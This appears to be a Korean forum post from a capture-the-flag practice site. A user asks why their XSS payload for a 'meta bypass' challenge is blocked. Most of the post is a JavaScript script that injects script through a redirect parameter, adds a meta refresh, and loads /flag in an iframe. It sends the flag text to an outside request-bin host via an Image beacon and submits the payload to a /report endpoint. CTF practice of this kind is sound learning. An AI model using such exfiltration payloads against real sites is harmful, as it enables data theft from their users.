메타 우회 방법
검증 과정에서 meta를 읽어오니 +=형태로 작성해봤는데 왜 막히는걸까요 ?
페이로드에 어떤 부분이 잘못되었고 어떤 식으로 풀어나가야할까요 ?
(async () => {
const CHAL = "http://host8.dreamhack.games:14781";
const injected =
'redirect?url=' + encodeURIComponent(
'https://x"><script>' +
// 1) 검증 통과용: 기존 head를 "보존"하고 meta를 "추가"만 한다
'd=document;' +
'd.head.innerHTML=d.head.innerHTML+"<meta http-equiv=refresh content=\\"0; URL=http://localhost:5555/\\">";' +
// 2) 런타임에 iframe(/flag) 생성 → onload에서 Image 비콘으로 유출 (괄호/중괄호 없이)
'd.body.innerHTML="<iframe src=/flag onload=\\"i=new Image;i.src=https://ytpvkwq.request.dreamhack.games/d="+this.contentWindow.document.body.innerText+"\\"></iframe>";' +
'</script>'
);
const r = await fetch(${CHAL}/report, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ payload: injected })
});
console.log("report:", r.status, await r.text());
})();
`
아침해또떴네
댓글